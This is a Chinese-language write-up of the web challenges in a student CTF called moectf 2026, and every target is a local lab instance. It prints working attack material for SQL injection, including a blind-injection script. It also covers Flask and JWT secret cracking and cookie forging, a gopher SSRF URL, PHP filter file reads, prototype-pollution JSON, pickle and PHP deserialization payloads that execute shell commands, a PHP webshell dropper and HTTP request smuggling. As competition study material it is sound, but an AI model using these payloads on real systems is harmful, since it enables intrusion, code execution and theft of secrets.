ctfer

moectf 2026-web write-up

2026-10-16 #dev

杂鱼时间结束!😋👍❤️moe的入门曲线还是很开心的。

T1-查分系统

一个html静态网页,打开源码搜一下moectf即可

T2-入门指北

这个跳过,自己去找flag就好()

T3-归途

打开环境发现一个神必猫猫丢了,打开源码发现:

1
2
3
4
5
6
7
8
9
10
11
<!-- Key2-QDBtNG9k -->

<script>
...
try {
const res = await fetch("/getKey?id=3", { cache: "no-store" });
const data = await res.json();
} catch (error) {
document.getElementById("api-status").textContent = "Request failed";
}
</script>

还有个key1,差点忘了,就说怎么key2开始的:log|console|N2ghNUkkTQ|Key1'.split

尝试访问/getKey?id=3,得到key3:Key3-M0szeUVuKw==,并给出提示:

1
{"key": "Key3-M0szeUVuKw==", "message": "Do you know url params? Try to get Key4"}

将参数从3改成4,得到:

1
{"key": "Key4-ZXJUaDFzbGE=", "message": "Do you know HTTP headers? Check it. Besides, Try to POST this api"}

发现header里头有个key的键值:Key5-ITkzdA==,之后post请求一下,返回的body部分有如下信息:

1
{"key": "Key6-ZnwxbGFA", "message": "Try login!"}

login里头要登录外星人的服务器,还直接给了账号密码,哎呦这个外星人你怎么这么好

得知需要在cookie里加上一些信息,用来登录admin账号,直接在info界面抓包,修改cookie即可:

1
2
Key7-NGFAZzY5Nmc5
有一个文件限制了爬虫可以访问的内容,是什么呢?

提示我们访问robots.txt,发现Disallow: /f13ggggg,byd这不就是个base64解密吗,我访问你干啥😡

对不起这是用来合成后返回flag的😭猫猫我对不起你

T4-当零来敲门

先跳过,过一阵补坑

T5-查分系统_revenge

T6-MoeCatchTheFrogs

什么,抓青蛙?这不随便抓😋

抓了一会发现最多只能前8只青蛙,这时候我们开始分析这道题,总不能真一直等着第9只蹦出来()

通过bp抓包,容易发现抓青蛙的时候,是向/api/draw这里post一个

1
Cookie:frog_session=eyJmcm9ncyI6WzAsMSwyLDMsNCw1LDZdfQ.aqINPw.IkrH2buBQwPI0M5UTV0vvnhPzzo

这个cookie里头包含了frog的session_id,属于flask安全的范畴,而这个三段式cookie应该具有内容.时间戳.签名这样的格式,这里我们只是先要密钥,时间戳大不了重新生成就好。故而在Patricia Of End酱的帮助下,我们得知这采用的是一个弱口令,使用rockyou这个字典进行爆破即可

1
2
3
4
5
6
flask-unsign --decode --cookie "eyJmcm9ncyI6WzAsMSwyLDMsNCw1LDZdfQ.aqINPw.IkrH2buBQwPI0M5UTV0vvnhPzzo"

flask-unsign --unsign --cookie "eyJ...xxx" --wordlist /路径/rockyou.txt --no-literal-eval --threads 16

flask-unsign --sign --cookie "{'frogs':[7,8]}" --secret "my_secret_key"
# 当然,不是这个密钥,而且注意frog这个字典外要“外双内单”,不然powershell解析会出错

密钥出来后,把前头第一段的数组改成[7,8](问就是没抽出来7)重新生成一个签名,然后改好cookie交上去即可

T7-古籍翻阅

本题考察目录穿越

byd这么多天才回过味来,给的catalog附件是当payload使的😭

随便点开一个开始抓包,送给bp攻击器,用payload攻击完,找到200回显即可得到:“其实flag藏在了根目录下,去看看根目录吧”

然后经过锲而不舍的努力发现,访问flag的时候,后头不能加.txt后缀,直接穿越两次就好了出题老头坏🤬🤬🤬

T8-河湖小盗

打开网页,发现是一个数据库检索系统,可以输入数字来获取相关信息,判断为sql数字型注入

库名:

1
1 union select 1,database(), schema_name from information_schema.schemata; #

得到database=past_paper; 有information_schema和performance _schema这两个表

表名:

1
1 union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database(); #

发现一个flag_table,直接找字段名:

1
1 union select 1,database(),group_concat(column_name) from information_schema.columns where table_schema=database(); #

发现一个flag字段,直接输出它:

1
1 union select 1,database(),flag from flag_table; #

得到flag

T9-熊出没

我要吃蜂蜜😋

题目先提示蜂蜜在54321端口,打开环境后发现要输入蜜罐地址,输入后发现毛被夹掉,不行

尝试直接输入该端口,发现

1
❌ URL不合法!请输入完整的 URL 地址(需包含协议和主机,例如 gopher://host:port/...)。

真就是gopher岭是吧…上网补gopher的课

输入gopher://127.0.0.1:54321,得到回显:

1
2
3
4
5
6
HTTP/1.1 200 OK
Content-Type: text/plain; charset=utf-8
Content-Length: 33

Honey Vault
paths: /secret-honey

由伟大的Internet可知,此处考察简单的gopher构造,写一个get方式的http报文,转成gopher的形式提交即可,注意header和body间空一行:

1
2
GET /secret-honey HTTP/1.1
Host: 127.0.0.1:54321

注意Host后头就是body了,但是本题不需要body,记得多加一个空行即可

转换为URL编码,但是有这么几个坑:

1、问号(?)需要转码为URL编码,也就是%3f
2、回车换行要变为%0d%0a,但如果直接用工具转,可能只会有%0a
3、在HTTP包的最后要加%0d%0a,代表消息结束(具体可研究HTTP包结束)

即变为:

gopher://127.0.0.1:54321/_GET%20/secret-honey%20HTTP/1.1%0d%0aHost:%20127.0.0.1:54321%0d%0a%0d%0a

提交后得到flag

T10-七狗免费小说

考察php伪协议filter以及zlib

打开发现是小刻的小说,然后想起来天空之上?万米那期剧情没看😭

打开flag章,发现:

Flag 就在上面,只有聪明的人才能看见
剩下的剧情?大概是被小刻吃掉了作者偷懒没放

显然是在注释里头放着,这里直接使用filter伪协议,然后:?

“咬你哦!”怎么还咬人😭亏我把你拉到精290了

打开源码获取提示,发现本题采用preg_match把一下都替换掉了:

1
2
<span style="color: #DD0000">'/http|https|env|\.\.|^\/|=\/|index|proc|input|data|convert|string|file/i'
</span>

虽然convert被ban了很不甘心,但是注意到zlib.deflate这个二进制压缩没有ban,我们采用如下payload:

1
http://127.0.0.1:30582/?file=php://filter/read=zlib.deflate/resource=flag.php

得到一串二进制流,使用python解码即可:

1
2
3
4
5
6
7
import zlib,base64

data=base64.b64decode("lZDBTsJQEEX3fMVL45YgbSgx1rLzP6A8xAQDEVcaE7Ei1gpVQ7SSGoUoBYwFTYxNafVn3rw+V/0F2z/Qxczm3jv3ZKRCo9pIrVRqxS20gbidOlb2KgfFLL+WE/lyWuRxLr0qitl4YTEtCFhQ8vm8qODyIbeewkq1jrjNJAyLN7AmxD3/uR9F/gUYM2pprDWjZi8cnBDPo1qXqUFo6cxuSaVdGbQpcfVYA82majvyH+DJpuNjas6lpsxGL7Aw4GwJlyrtacQ7lTJNmQQWO2pD65N2run7kPa/YohMBrHvO+p80JsOvN4mbYEV9icJgjln9hiMK7Rf2y4h6OmhP43pSPAIxpwsn4nbDZ0hOGrkD5JD8TP+Mv+xFuTULw==")

result = zlib.decompress(data, -zlib.MAX_WBITS)
# -zlib.MAX_WBITS是为了跳过zlib字节流的头部检查,因为http返回的默认把zlib头去了
print(result.decode('utf-8'))

之后得到flag

T11-合乎周礼

1.访问api/help,发现:是配置中心,存放网站功能配置
/:即网站本身,是题目描述;/api/me查看当前用户配置
有用信息只有最后一句:“GET /api/flag”: “只有审核 isAdmin=true 且 canReadFlag=true 时返回 FLAG”

2.post提交后(记得改content-type)发现传回:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
{
"ok": true,
"acceptedFields": 5,
"profile": {
"profile": {
"nickname": "guest",
"profile": {
"nickname": "admin"
},
"theme": {
"color": "blue"
}
},
"theme": {
"color": "blue"
},
"ok": true,
"inheritedProbe": {
"isAdmin": true,
"canReadFlag": true
}
},
"inheritedProbe": {
"isAdmin": null,
"canReadFlag": null
}
}

nnd怎么给嵌套到profile里头了,感情“代码里的父类也要让子类守好本分、不逾矩”是说的这个意思😭

3.询问llm,得知这道题属于js原型链污染的范畴:

原型链是js中的一个重要概念,大致就是对于任意对象都存在一个公用的父对象,称为原型对象Object.prototype,可以调用它里面的一些方法和属性,而proto就是指向这个原型对象的指针。

这也就解释了一点:原型被所有对象共享,污染一处,处处生效(当然本题并不需要这么多东西)

以上单独出现的proto都是指外面有下划线,长得像魔术方法的那个,md不知道怎么就渲染成加粗了

而本题考点属于 服务端原型链污染(Server-Side Prototype Pollution, SSPP) 下的一个具体分支:

通过 __proto__ / constructor.prototype 污染 Object.prototype,实现属性注入与权限绕过(Privilege Escalation)。

更直白地说:**利用不安全的递归合并(deep merge)污染全局对象原型,让后端在检查 isAdmin、canReadFlag 时从原型链上读到 true。**以下给出ds大人的总结:

  • 后端使用了不安全的递归合并/深拷贝(如 lodash.merge、自定义 deep merge 等)。
  • 合并函数没有过滤 __proto__、constructor、prototype 等键。
  • 后续权限校验读取的是 user.isAdmin、user.canReadFlag,且没有用 hasOwnProperty 检查属性是否属于对象自身。
  • 你的输入能够到达这个合并函数(比如通过更新 profile 的接口)。

这时我们通过proto污染原型变量下的两个属性,提交如下payload即可:

1
2
3
4
5
6
{
"__proto__": {
"isAdmin": true,
"canReadFlag": true
}
}

T12-日志系统

可以导入导出.pkl文件,通过app.py可知,大概考察蟒蛇中的pickle反序列化漏洞:

在先前,pickle的反序列化可以通过手写/生成一段protocol=0版本的payload来实现(现在也可以,但是似乎记事本默认的编码不成,如果是直接在网页递交应该能成);但在笔者目前使用的python3.14版本中,pickle的版本0,1已经不再可用,故如果需要自动生成payload,可以采用如下脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
import pickle

class Payload:
def __reduce__(self):
# 下面改成你想执行的命令,比如读取 /flag
# check_output这个方法是“执行命令并返回输出”的意思,通过这个可以在py里执行外部命令
cmd = "__import__('subprocess').check_output('env', shell=True).decode()"
return (eval, (cmd,))

# wb是二进制格式的意思,而f则是exp.pkl的实例化对象,可以通过pickle.dump(Payload(),f)将payload的值赋给它
# 当然你也可以自己翻译一下,人肉f.write()
with open('exp.pkl', 'wb') as f:
pickle.dump(Payload(), f)

通过将pkl上传,容易发现环境变量在网页上方的一个预览框中显示,但是在SHA-256显示途中被截断,怀疑是设置了一定的预览限制。这时又注意到题目app.py的附件中部分代码:

1
2
3
# 单个对象 / 其他:把反序列化结果直接展示出来供预览
preview = str(obj).replace("\n", " ").replace("\r", " ").strip()[:200] #ATT!
return redirect("/?msg=" + quote("导入预览结果:" + preview))

可知预览设置了200个字符的限制,考虑到这比赛中flag一般变量就叫FLAG,我们可以使用以下两种方法:

  • 仅输出特定环境变量:printenv FLAG 或者 env | grep ‘^FLAG=’ (从env管道中先读取所有env,再筛选出flag)
  • 将所有的环境变量都输出成一个日程表,彩笔笔者借助LLM生成了如下脚本:
1
2
3
4
5
6
7
8
9
10
import pickle

class Payload:
def __reduce__(self):
cmd = "([{'title': 'env', 'content': __import__('os').popen('env').read()}])"
# 这里的poppen就相当于上文使用的subprocess
return (eval, (cmd,))

with open('exp.pkl', 'wb') as f:
pickle.dump(Payload(), f)

其中__import__(‘os’).popen(‘env’).read()等价于:

1
2
3
import os
process = os.popen('env')
output = process.read()

不过import的魔术后会直接返回一个名为os的对象,所以可以直接采用.popen的方法,这点和上面的subprocess仍然同理。

这种方法在如题所示的,使用try: \n obj = pickle.loads(data)的时候可用(也就是直接把传入内容反序列化了),由于执行的命令本身作为一个list[]返回,所以默认会通过日程的模块进行输出。

T13-江洋大盗

这道题目显然是前面“河湖小盗”的plus版,考察sql注入。注意到仍然是数字型,且给出了一个blacklist.txt,联合注入等方式不再可用,时间盲注,xml报错等等也不再可用,且被waf时也没有错误信息回显,这里考虑布尔盲注。于是尝试:

1
1 and length(database()) > 1

得到1(林舟)的正常回显,我们完全可以确定这样的注入语法可行。

对于sql布尔盲注,原理上一般分为一下两大步进行操作:

  • 使用1 and length(database()) > 1这种length判断键值长度

  • 使用1 and (select ord(substr((database()),<pos>,1))) > 97这样的语句判断各位的字符

于是在造轮子(赤石)精神的指引下,我们最初仿照hello-ctf的指引,写了这么一个脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import requests, string

URL = "http://127.0.0.1:20159"
UA = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Safari/537.36"
CT = "application/x-www-form-urlencoded"
CHARSET = string.ascii_letters + string.digits + "_-{}"
result = ""

for pos in range(1,37): # 37无具体含义,请根据试出来的length自己改,或者别写死(主要写死更简单(❌
for char in CHARSET:
r = None
payload = {"id":f"1 and (select ord(substr((select group_concat(flag,0x7c7c) from flag_table),{pos},1))) = {ord(char)}"} # 这里拼接的id键值可以抓包发现,且使用group_concat原理上是为了把flag用0x7c7c(即||)隔开
for _ in range(6):
try:
r = requests.post(URL, data=payload, headers={"User-Agent": UA, "Content-Type": CT}, timeout=7)
break #加timeout和for6是这个神必靶机会自己偶发断连,不这样就等着看随机跳过字符吧()
except requests.exceptions.RequestException:
pass
if r is None: # 这个是llm加的,大致功能是在重试也无果后,直接退出脚本,防止卡死。
print(f"[-] 重试耗尽 pos={pos} char={char},停止")
raise SystemExit(1)
if "林舟" in r.text:
result += char
print(f"[+]第{pos}位: {char}, 当前: {result}")
break
print(f"final result: {result}")

我们很开心地尝试这个简单易懂地脚本,手工更改payload进行公式化步骤,发现确实可以做出来题目,但是算下来需要长达约3~4h的运行时间,而彩笔笔者现在不会写二分和多线程,因此我们也可以尝试使用sqlmap进行相关操作。实测只需要线程开到10就可以开心写题了(但是最后flag的字段除外,还不如单线程稳定)

T14-礼崩乐坏

由这个非常熟悉的界面可知,本题给出来了几个公开的api,仍然考察JavaScript原型链污染相关知识。

1.访问api/help,发现仍然是配置中心,还是一个api/me查看用户配置,api/profile来POST一个json配置,仍然需要isAdmin=true 且 canReadFlag=true,关闭该页面(什么啊这不还就是合乎周礼)

2.尝试按合乎周礼的方法复现,使用__proto__污染无果,并没有出现预期的嵌套

3.发现api/profile返回消息:“配置值仅允许布尔值、数字、短字符串或 null”,而__proto__的值为“isAdmin”: ture这个对象,不能直接提交,思考无果后询问LLM可知:

“原型链污染不一定非要传递嵌套对象。关键思路是:把嵌套对象“拍扁”成路径字符串,让后端在解析键名时自己展开成嵌套结构,从而触发原型污染。 此时你提交的值仍然是布尔,符合类型校验。”

4.我们尝试如下扁平字符串:

1
2
3
4
{ 
"proto.isAdmin: ture,
"proto.canReadFlag: true
}

发现自己少了两个引号,且把true拼写成了ture 会发现json解析失败,对比LLM的:

1
2
3
4
{ 
"proto.isAdmin": true,
"proto.canReadFlag": true
}

或者考虑到默认合并到profile下,我们可以加一个profile的前缀:

1
2
3
4
{
"profile.proto.isAdmin": true,
"profile.proto.canReadFlag": true
}

但是正确的json会报错:此举不合礼制,说明直接拼写__proto__很可能被ban了,我们可以采用constructor.prototype.属性名绕过 ,成功喵,不需要使用unicode转义

1
2
3
4
{
"constructor.prototype.isAdmin": ture,
"constructor.prototype.canReadFlag": true
}

这种写法在后端会被解析为:

1
2
3
4
5
6
7
8
{
"constructor": {
"prototype": {
"isAdmin": true,
"canReadFlag": true
}
}
}

5.获得flag,周礼已死,原型当立,岁在甲子,????

T15-bblogin

我们看到这个,开始以为又是一个sql()后来发现不对劲,于是再度求助LLM老师,发现本题为一个**SSTI(服务端模板注入)**的题目,遂再次前往helloctf补课

「模板注入 SSTI(Server-Side Template Injection)」 也一样,数据传递 就是可控的输入点,以 Jinja2 举例,Jinja2 在渲染的时候会把 {{}} 包裹的内容当做变量解析替换,所以当我们传入 {{表达式}} 时,表达式就会被渲染器执行。

我们这里先不写结合魔术方法的具体知识点[(可以点击这里看)](SSTI 注入 | Hello CTF),先简单分析一下这道题目的app.py:

我们注意到,在报错信息这一行有如下代码:

1
error_html = f'<div class="error"><p>用户{username}登录失败</p></div>

username被jinja2模板渲染,造成我们开心的SSTI。

如果我们直接使用源码里的admin和看上去很想密码的rea1flag一长串女士登录,是无效的,原因在于它只是个变量名,具体的值由 app.secret_key = secrets.token_hex(32)来随机生成。所以我们需要通过找到使用的密钥,来重新为session[‘token’]=“admin"进行一个类似签名的动作。

我们注意到login函数有如下内容:

1
2
3
4
if(len(username)>10 or match(".()[]_",username)):
error_html = f'<div class="error"><p>The username cannot be too long!</p></div>'
html = INDEX_TEMPLATE.replace('{login_error_block}', error_html)
return render_template_string(html)

当username里出现长度大于10,或者有上面几种字符时,将会弹回用户名过长的报错,因此需要考虑构造特定的username绕过过滤,而不是直接使用源码的admin。这里我们可以使用获取到secret_key:

1
'SECRET_KEY': '3ce2b109e45f47de12250eff54f377fb014b93e718724df8bd0749c0668b8392'

我们使用flask-unsign进行签名,得到cookie:

1
2
flask-unsign --sign --cookie "{'token':'admin'}" --secret "3ce2b109e45f47de12250eff54f377fb014b93e718724df8bd0749c0668b8392"
>> eyJ0b2tlbiI6ImFkbWluIn0.aq5T7g.1fnNr5hT-MPqnEM9W9iGfW45yto

然后带着我们的session=一长串,开心地访问user就可以了🥰出题人善。

T16-我刚一提交就发现了三个问题

已知题目描述:

我在你们这才交了几个文件,我已经发现三个问题了:

首先,(啪啪啪),在线提交,这文件怎么进了你的私人的目录里呢?

第二,这个文件我刚传进去,我还没拿到flag呢,这已经被删了,诶,这说明你们的后端逻辑有问题啊

第三,这个木马已经被我传上去了,这位邪恶的出题人,你怎么不给我flag呢?那请问我怎么才能解题呢?

本题为一道经典的文件上传漏洞题,我们可以准备一个一句话木马(就是你evalcmd),但是考虑到第二个提示,很可能这个木马会被迅速删掉,所以我们上传一个fputs fopen的shell,使用条件竞争的手法不断访问它,让这个shell能够运行生成一个新的木马,大概即可绕过**(黑户没登记不用罚款是这样的**

fputs用来给指定的文件对象写入指定字符串,而fopen用来打开文件(加个w可以以写入模式打开)

我们可以编写如下shell:

1
2
3
4
<?=
fputs(fopen("target.php","w"),'<?=eval($_POST["cmd"]);?>')
// 仍然要记得,fputs进去的内容外面用单引号,里面数组具体的内容用双引号
?>

之后通过bp进行攻击,再用蚁剑访问private目录中的target.php连接即可。

T17-旧能源管理系统

&&nbsp&&

T18-黑市走私

P1-JWT签名结构与爆破

我们先按照提示访问/hint,发现给出了“入场券”和“暗语”两个部分。入场券分为HEADER PAYLOAD SIGNATURE三个部分,显然是一个JWT签名;而暗语则显然是secret_key的候选集合。所以我们这里把这些密钥编成一个字典(即下面的secret_keys.txt),开始爆破:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
// 这个脚本由hello-ctf提供,笔者决定于今年国庆期间彻底补上ctf要用的python基础。
import hmac, hashlib, base64

token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJ0cmF2ZWxlciIsInJvbGUiOiJndWVzdCIsInNjb3BlIjoicmVhZCJ9.CG6d0k62ZfRAcq9kdqz3TQIZ6irniRCrQLyqh9WbnM8"
header_payload, _, signature = token.rpartition(".")

target = base64.urlsafe_b64decode(signature + "=" * (-len(signature) % 4))

with open("/usr/share/wordlists/secret_keys.txt", "rb") as f:
for line in f:
key = line.strip()
sig = hmac.new(key, header_payload.encode(), hashlib.sha256).digest()
if hmac.compare_digest(sig, target):
print("密钥找到了:", key)
break

我们发现密钥是fish,大概是受这个出题人自己nickname的影响(),之后改掉payload,重新签好名即可。

P2-http请求走私:CL.TE

我们拿到生成好的JWT,前往黑商1,发现:

交易暗号:先让柜台只看货箱长度,再让后仓按分块清点。 目标货物:/flag1

记得带上能证明你是高级买家的票据。

这段话描述的即为http请求走私,其中“货箱长度”即为CL(Content-Length),而“分块清点”则是Transfer-Encoding,柜台和后舱就是前后端。- > 得出该部分要求以CL.TE的模式进行请求走私,于是我们在一再的试错后,在fish一串字母师傅和dsh的指点下,得出如下报文:

1
2
3
4
5
6
7
8
9
10
11
12
13
POST /stage1 HTTP/1.1
Host: 127.0.0.1:<port>
Content-Length: 132
Transfer-Encoding: chunked
Connection: keep-alive

0

GET /flag1 HTTP/1.1
Host: 127.0.0.1:<port>
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJ0cmF2ZWxlciIsInJvbGUiOiJhZG1pbiIsInNjb3BlIjoiZmxhZ3MifQ.EQmuoZNLf5aUF-WJ1MdjUFZJgPilOkgJRjXawdvIooI
Connection: keep-alive

但是对于这段http报文,我们有如下几个注意点:

  • CL.TE模式下,由于前端只认content-length,我们需要手动数清楚后面包括0和两个CRLF之后的走私内容,将它们统计到CL里头,从而让前端把他们当作普通的body发出去;而在后端,由于只认TE的分块传输,每个块又以0和两个RLF作为默认截断,后头的请求就会被当作第二个http请求,从而实现走私。
  • 对于http发包,我们不能过于依赖浏览器默认发出来的报文,往往只需要用请求,Host,CL,TE,Connection,Cookie等自己需要的部分即可(或者改用curl,笔者决定于近期把这个学会
  • 我们在鉴权的时候并不是总用Cookie和session。比如对于JWT的校验,一般情况下就可以使用Authorization: Bearer ,这种方式常见于JWT和Oauth,我们将这个模板的解释放在下面:

“Authorization: Bearer” is an HTTP header format used to transmit access tokens, allowing clients to authenticate and access protected resources securely.

之后我们就能在令人开心的200响应之后,拿到前面半个flag。

P3-http请求走私:TE.TE

我们前往/stage2,发现:

“两边都认识 TE 的名号,可他们读招牌的脾气不同。让前门觉得这不是那张招牌,让后门照常按 TE 的规矩收货。”

交易暗号:Transfer-Encoding 后的空隙,可能就是黑市小巷。 目标货物:/flag2

同样需要高级买家的票据。

“两边都认识TE”并不是说stage1和stage2的关系,结合后文,事实上是指前端和后端都认TE,是典型的TE.TE模式下的请求走私。

T19-七狗收费小说

题目描述:

小刻想把自己的小说库改成收费的,这样就可以赚钱买更多的蜜饼吃啦。所以小刻自学了 Git 和 PHP,刚刚做了个半成品的登录页面。但是,小刻缺少一个 CTFer 的警觉,她把仓库直接放到了生产环境,居然还信任前端传来的任何数据。作为一个 CTFer,你和小刻打赌,如果你找不出小说库的漏洞,就要请她吃一个月的蜜饼……(环境为 PHP 8.2)

也就是说,本题考察git仓库泄露,又提到php,这个位置大概率也要开始考php有趣(赤石)小题目了,[这里附上一个链接](Git工具大全 - CTF-Web修炼手册),笔者自己认为对git泄露的方法讲得不错~~(就是用工具~~,使用githacker的方法自行查阅,这里仅附上知识点相关:

当 Web 服务器的 .git 目录可以被访问时,攻击者可以: - 🔓 下载完整源代码 - 📜 查看开发历史和提交记录 - 🔑 发现硬编码的密码、密钥 - 🐛 找到已修复但未公开的漏洞 - 👤 获取开发者信息。

常见泄露路径

1
2
3
4
5
http://example.com/.git/
http://example.com/.git/config
http://example.com/.git/HEAD
http://example.com/.git/index
http://example.com/.git/logs/HEAD

我们确认/.git/config和/git/HEAD均可以访问,对小刻的git仓库进行重建和下载,得到index.php中的神奇php代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
<?php
// 小刻可是学了最新的 PHP 8 哦,快夸夸小刻
error_reporting(0);

class User
{
public $username, $password;
public $secret_a, $secret_b;

public function __construct($username, $password)
{
$this->username = $username;
$this->password = $password;
$this->secret_a = $this->secret_b = 0;
}

public function __wakeup()
{
// 每次都要重新登录,这样坏人肯定进不来啦
$this->secret_b = random_int(1000_0000, 9999_9999);
}

public function __destruct()
{
if ($this->username !== $this->password)
die("不对,密码不对!");
if ($this->secret_a !== $this->secret_b)
die("不行,要重新登录!");

echo "已经登录啦:$this->username";
}
}

class UserInfo
{
public $user, $permission;

public function __construct($user)
{
$this->user = $user;
$this->permission = $user->username === "admin" ? "权限 7" : "权限 0";
}

public function __tostring()
{
return $this->user->username . "(权限等级:" . $this->permission . ")";
}
}

class Diagnosis
{
public $key, $value, $action;

public function __get($name)
{
if ($name === $this->key && is_object($this->action)) {
return ($this->action)($this->value);
}
return null;
}

public function __invoke($value)
{
return shell_exec("$this->key$value");
}
}

$curr_user = null;

if (isset($_POST['username']) && isset($_POST['password'])) {
$username = $_POST['username'];
$password = $_POST['password'];

$user = new User($username, $password);

$data = base64_encode(serialize($user));
setcookie('user', $data, time() + 3600, '/');
$curr_user = $user;

} elseif (isset($_COOKIE['user'])) {
$data = base64_decode($_COOKIE['user']);
$curr_user = unserialize($data);
}
?>

<!DOCTYPE html>
<html lang="zh-CN">

<head>
<meta charset="UTF-8">
<title>刻俄柏的小说</title>
</head>

<body>
<div style="width: 100%; background: #ffda33;">
<h2 style="color: #2b2923;">刻俄柏的小说(登录才能看!)</h2>
</div>

<form method="POST" action="">
<label for="username">用户名</label><br>
<input type="text" id="username" name="username" required><br><br>

<label for="password">密码</label><br>
<input type="password" id="password" name="password" required><br><br>

<input type="submit" value="登录">
</form>
</body>

</html>

php和html原来能一块写,🧠膨胀了(

这个pop链的分析我们贴在这里,其中head就是顺着箭头向下看,end向回走就好,那个–算是当注释用了。应该照这个伪代码不难看懂()

1
2
3
4
5
HEAD: cookie:'user' -> base64decode -> $curr_user = unseri( laststep) -> User::__destruct(username==password,secreta=secretb;) ->
echo motivate UserInfo::__tostring -> {$curr_user -> user -> username (when not found ->__get)

END: shell_exec("$this->key$value")::__invoke::Diagnosis <- ($this->action)($this->value) <- __get::Diagnosis
--this means {$name},with a judge: $name === $name->key && $name->action is OBJ

于是我们构造如下poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php
class User
{
public $username, $password;
public $secret_a, $secret_b;
}
class UserInfo
{
public $user;
}
class Diagnosis
{
public $key, $value, $action;
}

$a = new User;
$b = new UserInfo();
$c = new Diagnosis();
$d = new Diagnosis();

$c -> key = 'username'; # 至于笔者一开始没有意识到Diagnosis需要两个对象,过一阵有空了笔者再回来看看,
$c -> value = '';
$c -> action = $d; # 要是有人看到了也可以在评论区说说。笔者一开始只写了:

$d -> key = 'cat /flag'; # $c -> key = 'cat /flag';
$d -> value = ''; # $c -> value = '';

$b -> user = $c;

$a -> secret_a = &$a -> secret_b; # Attention: 对于非对象的赋值,本质仍然是拷贝,需要&进行取地址
$a -> username = $a -> password = $b; # Attention: 而对于对象,事实上php会直接进行一个引用,正是利用这个特性,让我们可以在写poc时不过分关注pop链行走的顺序,保持对于魔术方法传值顺序的关注即可。

$payload = serialize($a);
var_dump($payload);

之后把序列化后且base64编码的字符串贴在body部分,flag就会被打印出来了。

– 笔者由于9号开始要去参加本校的招新赛,实在没有精力继续打还有几天就结束的moe(其实就是想摸鱼了),之后可能等moe26上训练场了会进行一个补全计划。笔者充分认识到自己python能力的不足与web不少方面漏洞( XSS CSRF XXE SSRF等没怎么考到的)知识点的欠缺和对RCE等的经验不足。期望能够在今后一段时间内进行补全。

– 本次比赛期间,感谢**Patricia of End**酱的帮助和fish师傅的锤子,希望moe能够越办越好喵。

– 特别感谢来自《放松时光:与你共享Lo-Fi故事》的satone酱❤️头一次感觉自习这么开心喵。

评论
也许会发生一些好事!
分享

评论